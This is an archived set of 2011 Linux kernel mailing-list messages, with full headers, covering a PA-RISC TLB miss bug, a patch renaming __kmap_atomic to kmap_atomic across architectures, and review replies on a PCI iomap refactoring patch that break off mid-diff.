Newsgroups: gmane.linux.ports.parisc
Subject: Re: TLB Miss Bug?
Date: Sat, 26 Nov 2011 20:54:33 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <BLU0-SMTP69497471F7AC39085A11CC97CD0@phx.gbl>
References: <BLU0-SMTP178D0B9C9992607985308C97CE0@phx.gbl> <1322277527.7362.12.camel@dabdike.cust.hotspot.t-mobile.com> <BLU0-SMTP4684050CC4E337BF49371797CD0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1322358898 10689 80.91.229.12 (27 Nov 2011 01:54:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 27 Nov 2011 01:54:58 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 27 02:54:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RUTxF-0005L3-C9
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Nov 2011 02:54:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755240Ab1K0Byw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Nov 2011 20:54:52 -0500
Original-Received: from blu0-omc4-s20.blu0.hotmail.com ([65.55.111.159]:7041 "EHLO
	blu0-omc4-s20.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755239Ab1K0Byv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Nov 2011 20:54:51 -0500
Original-Received: from BLU0-SMTP69 ([65.55.111.137]) by blu0-omc4-s20.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 26 Nov 2011 17:54:51 -0800
X-Originating-IP: [69.158.174.57]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.174.57]) by BLU0-SMTP69.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 26 Nov 2011 17:54:49 -0800
In-Reply-To: <BLU0-SMTP4684050CC4E337BF49371797CD0@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 27 Nov 2011 01:54:49.0997 (UTC) FILETIME=[8C485BD0:01CCACA7]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4044
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4044>

On 26-Nov-11, at 7:35 PM, John David Anglin wrote:

> On 25-Nov-11, at 10:18 PM, James Bottomley wrote:
>
>> I'm still a bit Jetlagged from a customer trip to Germany, but this
>> looks entirely possible: Appendix F says that a later TLB insertion
>> purges an earlier one, so I'd say in a combined I/D TLB inserting
>> consecutive I and D entries purges the I.
>>
>> It looks like a fix might be to insert TLB entries supporting both  
>> data
>> and instruction access in the combined TLB case.
>
> In looking at the code, I couldn't see why the I and D entries would  
> differ.
> Except for the dtlb_check_alias_20w check, the I and D handlers appear
> identical.  Maybe the hardware can't handle this case.
>
> Don't understand this comment:
>
>        /*
>         * I miss is a little different, since we allow users to fault
>         * on the gateway page which is in the kernel address space.
>         */
>
> There is also a typo in this comment:
>
>         * Then incredible subtlety: The access rights are
>         * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
>
> I believe the last bit should be _PAGE_WRITE.

I just realized there is a difference.  In the I case, va and spc are  
loaded
from %pcoq and %pcsq, respectively.  In the D case, they are loaded from
%ior and %isr.  I haven't wrapped my head around this but space_adjust
may not be handling the b field correctly (D case)

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cong Wang <amwang@redhat.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: [PATCH 61/62] highmem: kill all __kmap_atomic()
Date: Sun, 27 Nov 2011 13:27:41 +0800
Lines: 287
Approved: news@gmane.org
Message-ID: <1322371662-26166-62-git-send-email-amwang@redhat.com>
References: <1322371662-26166-1-git-send-email-amwang@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1322372445 13016 80.91.229.12 (27 Nov 2011 05:40:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 27 Nov 2011 05:40:45 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 Cong Wang <amwang@redhat.com>, David Howells <dhowells@redhat.com>,
 Paul Gortmaker <paul.gortmaker@windriver.com>,
 James Bottomley <James.Bottomley@suse.de>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 Christoph Lameter <cl@linux.com>, linux-am33-list@redhat.com,
 Russell King <linux@arm.linux.org.uk>, Helge Deller <deller@gmx.de>,
 x86@kernel.org, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Ingo Molnar <mingo@redhat.com>, Chris Metcalf <cmetcalf@tilera.com>,
 Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lists.infradead.org,
 linux-parisc@vger.kernel.org, Ralf Baechle <ralf@linux-mips.org>,
 Kyle McMartin <kyle@mcmartin.ca>, Tejun Heo <tj@kernel.org>,
 akpm@linux-foundation.org, Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
 linuxppc-dev@
To: linux-kernel@vger.kernel.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Sun Nov 27 06:40:36 2011
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1RUXTf-0007Gt-Bm
	for glppe-linuxppc-embedded-2@m.gmane.org; Sun, 27 Nov 2011 06:40:36 +0100
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id C57B4B73FA
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Sun, 27 Nov 2011 16:40:23 +1100 (EST)
Original-Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28])
 by ozlabs.org (Postfix) with ESMTP id 75502B700E
 for <linuxppc-dev@lists.ozlabs.org>; Sun, 27 Nov 2011 16:40:14 +1100 (EST)
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com
 (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
 by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAR5daKE007111
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
 Sun, 27 Nov 2011 00:39:36 -0500
Original-Received: from cr0.redhat.com (vpn1-7-24.sin2.redhat.com [10.67.7.24])
 by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id
 pAR5RiLM002499; Sun, 27 Nov 2011 00:39:04 -0500
In-Reply-To: <1322371662-26166-1-git-send-email-amwang@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:47015 gmane.linux.kernel:1220812 gmane.linux.ports.mips.general:33103 gmane.linux.ports.sparc:15518 gmane.linux.ports.arm.kernel:141657 gmane.linux.ports.parisc:4045
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/47015>


Signed-off-by: Cong Wang <amwang@redhat.com>
---
 arch/arm/mm/highmem.c                |    4 ++--
 arch/frv/include/asm/highmem.h       |    2 +-
 arch/frv/mm/highmem.c                |    4 ++--
 arch/mips/include/asm/highmem.h      |    2 +-
 arch/mips/mm/highmem.c               |    4 ++--
 arch/mn10300/include/asm/highmem.h   |    2 +-
 arch/parisc/include/asm/cacheflush.h |    2 +-
 arch/powerpc/include/asm/highmem.h   |    2 +-
 arch/sparc/include/asm/highmem.h     |    2 +-
 arch/sparc/mm/highmem.c              |    4 ++--
 arch/tile/include/asm/highmem.h      |    2 +-
 arch/tile/mm/highmem.c               |    4 ++--
 arch/x86/include/asm/highmem.h       |    2 +-
 arch/x86/mm/highmem_32.c             |    4 ++--
 include/linux/highmem.h              |   11 +++--------
 15 files changed, 23 insertions(+), 28 deletions(-)

diff --git a/arch/arm/mm/highmem.c b/arch/arm/mm/highmem.c
index 807c057..5a21505 100644
--- a/arch/arm/mm/highmem.c
+++ b/arch/arm/mm/highmem.c
@@ -36,7 +36,7 @@ void kunmap(struct page *page)
 }
 EXPORT_SYMBOL(kunmap);
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	unsigned int idx;
 	unsigned long vaddr;
@@ -81,7 +81,7 @@ void *__kmap_atomic(struct page *page)
 
 	return (void *)vaddr;
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 void __kunmap_atomic(void *kvaddr)
 {
diff --git a/arch/frv/include/asm/highmem.h b/arch/frv/include/asm/highmem.h
index a8d6565..716956a 100644
--- a/arch/frv/include/asm/highmem.h
+++ b/arch/frv/include/asm/highmem.h
@@ -157,7 +157,7 @@ static inline void kunmap_atomic_primary(void *kvaddr, enum km_type type)
 	pagefault_enable();
 }
 
-void *__kmap_atomic(struct page *page);
+void *kmap_atomic(struct page *page);
 void __kunmap_atomic(void *kvaddr);
 
 #endif /* !__ASSEMBLY__ */
diff --git a/arch/frv/mm/highmem.c b/arch/frv/mm/highmem.c
index fd7fcd4..31902c9 100644
--- a/arch/frv/mm/highmem.c
+++ b/arch/frv/mm/highmem.c
@@ -37,7 +37,7 @@ struct page *kmap_atomic_to_page(void *ptr)
 	return virt_to_page(ptr);
 }
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	unsigned long paddr;
 	int type;
@@ -64,7 +64,7 @@ void *__kmap_atomic(struct page *page)
 		return NULL;
 	}
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 void __kunmap_atomic(void *kvaddr)
 {
diff --git a/arch/mips/include/asm/highmem.h b/arch/mips/include/asm/highmem.h
index 77e6440..2d91888 100644
--- a/arch/mips/include/asm/highmem.h
+++ b/arch/mips/include/asm/highmem.h
@@ -47,7 +47,7 @@ extern void kunmap_high(struct page *page);
 
 extern void *kmap(struct page *page);
 extern void kunmap(struct page *page);
-extern void *__kmap_atomic(struct page *page);
+extern void *kmap_atomic(struct page *page);
 extern void __kunmap_atomic(void *kvaddr);
 extern void *kmap_atomic_pfn(unsigned long pfn);
 extern struct page *kmap_atomic_to_page(void *ptr);
diff --git a/arch/mips/mm/highmem.c b/arch/mips/mm/highmem.c
index 3634c7e..aff5705 100644
--- a/arch/mips/mm/highmem.c
+++ b/arch/mips/mm/highmem.c
@@ -41,7 +41,7 @@ EXPORT_SYMBOL(kunmap);
  * kmaps are appropriate for short, tight code paths only.
  */
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	unsigned long vaddr;
 	int idx, type;
@@ -62,7 +62,7 @@ void *__kmap_atomic(struct page *page)
 
 	return (void*) vaddr;
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 void __kunmap_atomic(void *kvaddr)
 {
diff --git a/arch/mn10300/include/asm/highmem.h b/arch/mn10300/include/asm/highmem.h
index bfe2d88..7c137cd 100644
--- a/arch/mn10300/include/asm/highmem.h
+++ b/arch/mn10300/include/asm/highmem.h
@@ -70,7 +70,7 @@ static inline void kunmap(struct page *page)
  * be used in IRQ contexts, so in some (very limited) cases we need
  * it.
  */
-static inline unsigned long __kmap_atomic(struct page *page)
+static inline unsigned long kmap_atomic(struct page *page)
 {
 	unsigned long vaddr;
 	int idx, type;
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index da601dd..9f21ab0 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -140,7 +140,7 @@ static inline void *kmap(struct page *page)
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-static inline void *__kmap_atomic(struct page *page)
+static inline void *kmap_atomic(struct page *page)
 {
 	pagefault_disable();
 	return page_address(page);
diff --git a/arch/powerpc/include/asm/highmem.h b/arch/powerpc/include/asm/highmem.h
index dbc2640..caaf6e0 100644
--- a/arch/powerpc/include/asm/highmem.h
+++ b/arch/powerpc/include/asm/highmem.h
@@ -79,7 +79,7 @@ static inline void kunmap(struct page *page)
 	kunmap_high(page);
 }
 
-static inline void *__kmap_atomic(struct page *page)
+static inline void *kmap_atomic(struct page *page)
 {
 	return kmap_atomic_prot(page, kmap_prot);
 }
diff --git a/arch/sparc/include/asm/highmem.h b/arch/sparc/include/asm/highmem.h
index 3d7afbb..3b6e00d 100644
--- a/arch/sparc/include/asm/highmem.h
+++ b/arch/sparc/include/asm/highmem.h
@@ -70,7 +70,7 @@ static inline void kunmap(struct page *page)
 	kunmap_high(page);
 }
 
-extern void *__kmap_atomic(struct page *page);
+extern void *kmap_atomic(struct page *page);
 extern void __kunmap_atomic(void *kvaddr);
 extern struct page *kmap_atomic_to_page(void *vaddr);
 
diff --git a/arch/sparc/mm/highmem.c b/arch/sparc/mm/highmem.c
index 77140a0..055c66c 100644
--- a/arch/sparc/mm/highmem.c
+++ b/arch/sparc/mm/highmem.c
@@ -30,7 +30,7 @@
 #include <asm/tlbflush.h>
 #include <asm/fixmap.h>
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	unsigned long vaddr;
 	long idx, type;
@@ -64,7 +64,7 @@ void *__kmap_atomic(struct page *page)
 
 	return (void*) vaddr;
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 void __kunmap_atomic(void *kvaddr)
 {
diff --git a/arch/tile/include/asm/highmem.h b/arch/tile/include/asm/highmem.h
index b2a6c5d..fc8429a 100644
--- a/arch/tile/include/asm/highmem.h
+++ b/arch/tile/include/asm/highmem.h
@@ -59,7 +59,7 @@ void *kmap_fix_kpte(struct page *page, int finished);
 /* This macro is used only in map_new_virtual() to map "page". */
 #define kmap_prot page_to_kpgprot(page)
 
-void *__kmap_atomic(struct page *page);
+void *kmap_atomic(struct page *page);
 void __kunmap_atomic(void *kvaddr);
 void *kmap_atomic_pfn(unsigned long pfn);
 void *kmap_atomic_prot_pfn(unsigned long pfn, pgprot_t prot);
diff --git a/arch/tile/mm/highmem.c b/arch/tile/mm/highmem.c
index 31dbbd9..ef8e5a6 100644
--- a/arch/tile/mm/highmem.c
+++ b/arch/tile/mm/highmem.c
@@ -224,12 +224,12 @@ void *kmap_atomic_prot(struct page *page, pgprot_t prot)
 }
 EXPORT_SYMBOL(kmap_atomic_prot);
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	/* PAGE_NONE is a magic value that tells us to check immutability. */
 	return kmap_atomic_prot(page, PAGE_NONE);
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 void __kunmap_atomic(void *kvaddr)
 {
diff --git a/arch/x86/include/asm/highmem.h b/arch/x86/include/asm/highmem.h
index 3bd0402..302a323 100644
--- a/arch/x86/include/asm/highmem.h
+++ b/arch/x86/include/asm/highmem.h
@@ -61,7 +61,7 @@ void *kmap(struct page *page);
 void kunmap(struct page *page);
 
 void *kmap_atomic_prot(struct page *page, pgprot_t prot);
-void *__kmap_atomic(struct page *page);
+void *kmap_atomic(struct page *page);
 void __kunmap_atomic(void *kvaddr);
 void *kmap_atomic_pfn(unsigned long pfn);
 void *kmap_atomic_prot_pfn(unsigned long pfn, pgprot_t prot);
diff --git a/arch/x86/mm/highmem_32.c b/arch/x86/mm/highmem_32.c
index b499626..9f85499 100644
--- a/arch/x86/mm/highmem_32.c
+++ b/arch/x86/mm/highmem_32.c
@@ -50,11 +50,11 @@ void *kmap_atomic_prot(struct page *page, pgprot_t prot)
 }
 EXPORT_SYMBOL(kmap_atomic_prot);
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	return kmap_atomic_prot(page, kmap_prot);
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 /*
  * This is the same as kmap_atomic() but can map memory that doesn't
diff --git a/include/linux/highmem.h b/include/linux/highmem.h
index 42ac049..9c1b442 100644
--- a/include/linux/highmem.h
+++ b/include/linux/highmem.h
@@ -55,12 +55,12 @@ static inline void kunmap(struct page *page)
 {
 }
 
-static inline void *__kmap_atomic(struct page *page)
+static inline void *kmap_atomic(struct page *page)
 {
 	pagefault_disable();
 	return page_address(page);
 }
-#define kmap_atomic_prot(page, prot)	__kmap_atomic(page)
+#define kmap_atomic_prot(page, prot)	kmap_atomic(page)
 
 static inline void __kunmap_atomic(void *addr)
 {
@@ -121,15 +121,10 @@ static inline void kmap_atomic_idx_pop(void)
 #define NARG_(_2, _1, n, ...) n
 #define NARG(...) NARG_(__VA_ARGS__, 2, 1, :)
 
-static inline void *kmap_atomic(struct page *page)
-{
-	return __kmap_atomic(page);
-}
-
 static inline void __deprecated *kmap_atomic_deprecated(struct page *page,
 							enum km_type km)
 {
-	return __kmap_atomic(page);
+	return kmap_atomic(page);
 }
 
 #define kmap_atomic1(...) kmap_atomic(__VA_ARGS__)
-- 
1.7.4.4

From - Thu Nov 08 21:07:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.kernel.pci,gmane.linux.ports.sparc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH-RFC 02/10] lib: add GENERIC_PCI_IOMAP
Date: Sun, 27 Nov 2011 19:12:04 +0200
Lines: 183
Approved: news@gmane.org
Message-ID: <20111127171203.GA31987@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
 <b5a1327dd8bb38f87cba7ae10b308ec3b63de66a.1322163031.git.mst@redhat.com>
 <20111125115455.9d5e18da6e683586d84ed9c8@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322413951 20529 80.91.229.12 (27 Nov 2011 17:12:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 27 Nov 2011 17:12:31 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>,
        linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux@openrisc.net,
        linux-pci@vger.kernel.org, Jesse Barnes <jbarnes@virtuousgeek.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Lennox Wu <lennox.wu@gmail.com>,
        Jonas Bonn <jonas@southpole.se>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Russell King <linux@arm.linux.org.uk>,
        linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        lin
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-mips-bounce@linux-mips.org Sun Nov 27 18:12:14 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RUiH0-0003Wm-5V
	for sgi-linux-mips@gmane.org; Sun, 27 Nov 2011 18:12:14 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:51386 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903696Ab1K0RMK (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sun, 27 Nov 2011 18:12:10 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 27 Nov 2011 18:11:53 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:43424 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1903695Ab1K0RLp (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Sun, 27 Nov 2011 18:11:45 +0100
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pARHAo4a031602
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Sun, 27 Nov 2011 12:10:51 -0500
Original-Received: from redhat.com (vpn-201-184.tlv.redhat.com [10.35.201.184])
        by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id pARHANJD013298;
        Sun, 27 Nov 2011 12:10:24 -0500
Content-Disposition: inline
In-Reply-To: <20111125115455.9d5e18da6e683586d84ed9c8@canb.auug.org.au>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
X-archive-position: 32006
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33107 gmane.linux.ports.m68k:3075 gmane.linux.ports.ia64:21899 gmane.linux.kernel.pci:12714 gmane.linux.ports.sparc:15519 gmane.linux.ports.sh.devel:12875 gmane.linux.ports.hexagon:344 gmane.linux.kernel.cross-arch:11561 gmane.linux.uclinux.microblaze:11676 gmane.linux.ports.arm.kernel:141671 gmane.linux.ports.parisc:4046 gmane.linux.kernel:1220939 gmane.linux.ports.alpha:1596 gmane.linux.ports.ppc64.devel:78490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33107>

On Fri, Nov 25, 2011 at 11:54:55AM +1100, Stephen Rothwell wrote:
> Hi Michael,
> 
> On Thu, 24 Nov 2011 22:17:02 +0200 "Michael S. Tsirkin" <mst@redhat.com> wrote:
> >
> > diff --git a/include/asm-generic/io.h b/include/asm-generic/io.h
> > index 9120887..c8a67345 100644
> > --- a/include/asm-generic/io.h
> > +++ b/include/asm-generic/io.h
> > @@ -19,6 +19,8 @@
> >  #include <asm-generic/iomap.h>
> >  #endif
> >  
> > +#include <asm-generic/pci_iomap.h>
> > +
> >  #ifndef mmiowb
> >  #define mmiowb() do {} while (0)
> >  #endif
> > @@ -283,9 +285,6 @@ static inline void writesb(const void __iomem *addr, const void *buf, int len)
> >  #define __io_virt(x) ((void __force *) (x))
> >  
> >  #ifndef CONFIG_GENERIC_IOMAP
> > -/* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
> > -struct pci_dev;
> > -extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max);
> >  static inline void pci_iounmap(struct pci_dev *dev, void __iomem *p)
> >  {
> >  }
> 
> Just wondering why you move pci_iomap but not pic_iounmap.

unmap is implemented significantly different between architectures.


>  And also if
> pci_iounmap is meant to stay here, then the "struct pci_dev" should
> probably stay as well.

Right. I'll fix that.

> > diff --git a/include/asm-generic/iomap.h b/include/asm-generic/iomap.h
> > index 98dcd76..fdcddcb 100644
> > --- a/include/asm-generic/iomap.h
> > +++ b/include/asm-generic/iomap.h
> > @@ -69,16 +69,13 @@ extern void ioport_unmap(void __iomem *);
> >  #ifdef CONFIG_PCI
> >  /* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
> >  struct pci_dev;
> > -extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max);
> >  extern void pci_iounmap(struct pci_dev *dev, void __iomem *);
> 
> Ditto with pci_iounmap.

Answered above :)

>  Also the comment above really belongs with pci_iomap.

Right, I'll correct the comment.

> > diff --git a/include/asm-generic/pci_iomap.h b/include/asm-generic/pci_iomap.h
> > new file mode 100644
> > index 0000000..e08b3bd
> > --- /dev/null
> > +++ b/include/asm-generic/pci_iomap.h
> > @@ -0,0 +1,26 @@
> > +/* Generic I/O port emulation, based on MN10300 code
> > + *
> > + * Copyright (C) 2007 Red Hat, Inc. All Rights Reserved.
> > + * Written by David Howells (dhowells@redhat.com)
> > + *
> > + * This program is free software; you can redistribute it and/or
> > + * modify it under the terms of the GNU General Public Licence
> > + * as published by the Free Software Foundation; either version
> > + * 2 of the Licence, or (at your option) any later version.
> > + */
> > +#ifndef __ASM_GENERIC_PCI_IOMAP_H
> > +#define __ASM_GENERIC_PCI_IOMAP_H
> > +
> > +#ifdef CONFIG_PCI
> > +/* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
> > +struct pci_dev;
> 
> You could move this struct declaration above the ifdef and remove the
> duplicate below.

Good point. Will do.

> > +extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max);
> > +#else
> > +struct pci_dev;
> > +static inline void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max)
> > +{
> > +	return NULL;
> > +}
> > +#endif
> > +
> > +#endif /* __ASM_GENERIC_IO_H */
> > diff --git a/lib/iomap.c b/lib/iomap.c
> > index 5dbcb4b..ada922a 100644
> > --- a/lib/iomap.c
> > +++ b/lib/iomap.c
> > @@ -242,45 +242,11 @@ EXPORT_SYMBOL(ioport_unmap);
> >  #endif /* CONFIG_HAS_IOPORT */
> >  
> >  #ifdef CONFIG_PCI
> > -/**
> > - * pci_iomap - create a virtual mapping cookie for a PCI BAR
> > - * @dev: PCI device that owns the BAR
> > - * @bar: BAR number
> > - * @maxlen: length of the memory to map
> > - *
> > - * Using this function you will get a __iomem address to your device BAR.
> > - * You can access it using ioread*() and iowrite*(). These functions hide
> > - * the details if this is a MMIO or PIO address space and will just do what
> > - * you expect from them in the correct way.
> > - *
> > - * @maxlen specifies the maximum length to map. If you want to get access to
> > - * the complete BAR without checking for its length first, pass %0 here.
> > - * */
> > -void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
> > -{
> > -	resource_size_t start = pci_resource_start(dev, bar);
> > -	resource_size_t len = pci_resource_len(dev, bar);
> > -	unsigned long flags = pci_resource_flags(dev, bar);
> > -
> > -	if (!len || !start)
> > -		return NULL;
> > -	if (maxlen && len > maxlen)
> > -		len = maxlen;
> > -	if (flags & IORESOURCE_IO)
> > -		return ioport_map(start, len);
> > -	if (flags & IORESOURCE_MEM) {
> > -		if (flags & IORESOURCE_CACHEABLE)
> > -			return ioremap(start, len);
> > -		return ioremap_nocache(start, len);
> > -	}
> > -	/* What? */
> > -	return NULL;
> > -}
> > -
